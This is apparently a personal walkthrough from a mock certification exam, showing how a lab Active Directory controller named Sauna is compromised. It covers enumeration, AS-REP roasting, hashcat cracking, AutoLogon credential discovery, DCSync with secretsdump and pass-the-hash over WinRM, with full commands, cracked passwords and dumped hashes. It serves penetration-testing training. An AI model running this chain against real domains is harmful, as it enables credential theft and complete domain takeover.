88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-05-28 07:43:25Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49685/tcp open msrpc Microsoft Windows RPC
49692/tcp open msrpc Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-05-28T07:44:16
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: 7h00m00s
The full DC service stack - DNS (53), Kerberos (88), LDAP (389/3268), SMB (445), WinRM (5985) - plus an IIS site on 80. Domain is EGOTISTICAL-BANK.LOCAL, host SAUNA. So this is the AD box of the set: foothold will almost certainly come from a username, and the path to DA from an AD misconfig rather than a kernel exploit.
Note:
clock-skew: 7h00m00s. Doesn't bite us here - the whole chain runs over NTLM and AS-REP (no pre-auth, no TGT to validate against the DC clock). If any step needed a Kerberos ticket I'dntpdate/rdatethe DC first.
:80 is the default Egotistical Bank corporate site - nothing functional, no login, no upload. Park it for now and confirm the domain over LDAP:
$ ldapsearch -x -H ldap://10.129.95.180 -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
#
dn:
namingcontexts: DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: CN=Schema,CN=Configuration,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: DC=DomainDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
namingcontexts: DC=ForestDnsZones,DC=EGOTISTICAL-BANK,DC=LOCAL
# search result
search: 2
result: 0 Success
Anonymous LDAP only gives the naming contexts - no anonymous bind for user objects, and SMB null session is a dead end too. So no user list from the directory directly.
Back to :80. The site's About / Team page lists employee full names. Scrape those into a file and turn them into a realistic candidate username list with username-anarchy (handles all the f.smith / fsmith / smithf permutations a Windows AD naming policy might use):
$ ./username-anarchy -i names.txt > users.txt
With a username list and no creds, the cheapest AD primitive to try is AS-REP Roasting - any account with Do not require Kerberos pre-authentication set will hand out an AS-REP encrypted under its password hash, no auth required:
$ impacket-GetNPUsers -usersfile users.txt -request -format hashcat \
-outputfile asrep.txt -dc-ip 10.129.95.180 'EGOTISTICAL-BANK.LOCAL/' -no-pass
One account comes back roastable - fsmith. The AS-REP is etype 23, so hashcat mode 18200:
$ hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
...
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:24f6d4ec...539:Thestrokes23
Cracks to fsmith : Thestrokes23. WinRM (5985) is open, so straight into evil-winrm:
$ evil-winrm -i 10.129.95.180 -u fsmith -p Thestrokes23
Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\FSmith\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\FSmith\Desktop> type user.txt
<redacted>
User pwned.
Run BloodHound collection from the fsmith context to map the domain:
$ bloodhound-python -d EGOTISTICAL-BANK.LOCAL -u fsmith -p Thestrokes23 \
-ns 10.129.95.180 -c All --zip
Nothing actionable hangs off fsmith directly - no outbound ACLs, no group memberships worth abusing. So pivot to local enumeration on the box itself with winPEAS:
Looking for AutoLogon credentials (T1552.002)
Some AutoLogon credentials were found
DefaultDomainName : EGOTISTICALBANK
DefaultUserName : EGOTISTICALBANK\svc_loanmanager
DefaultPassword : Moneymakestheworldgoround!
AutoLogon creds sitting in the registry (HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon) in cleartext - a second service identity, svc_loanmgr / Moneymakestheworldgoround!.
Gotcha: the
DefaultUserNamereadssvc_loanmanager, but the actual SAM account issvc_loanmgr. Authenticating assvc_loanmanagerfails - confirm the real account name in BloodHound /net user /domainbefore assuming the display value is the logon name.
Re-check the new identity in BloodHound. svc_loanmgr holds GetChangesAll (DS-Replication-Get-Changes-All) over the domain object - i.e. DCSync rights. That's game over: we can ask the DC to replicate any account's secrets, including the krbtgt and Administrator hashes.
DCSync the Administrator account with secretsdump:
$ impacket-secretsdump EGOTISTICAL-BANK/svc_loanmgr:'Moneymakestheworldgoround!'@10.129.95.180 -just-dc-user Administrator
Impacket v0.14.0.dev0+20260326.150834.76ee8774 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4e
Administrator:des-cbc-md5:fb8f321c64cea87f
[*] Cleaning up...
We have the Administrator NT hash - no need to crack it, just pass-the-hash straight into WinRM:
$ evil-winrm -i 10.129.95.180 -u administrator -H 823452073d75b9d1cf70ebdf86c7f98e
Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
<redacted>
Box pwned.
Overall pretty happy. Cleared all four for 70/70 - a pass on real-exam scoring - and the report-as-you-go discipline held up with no scrambling to reconstruct steps at the end.
Main takeaway: I need more reps in AD environments. Sauna went down fine, but the chain was still something I had to think through instead of just running, and that's the kind of hesitation that eats clock on exam day. Next mock gets a heavier AD weighting.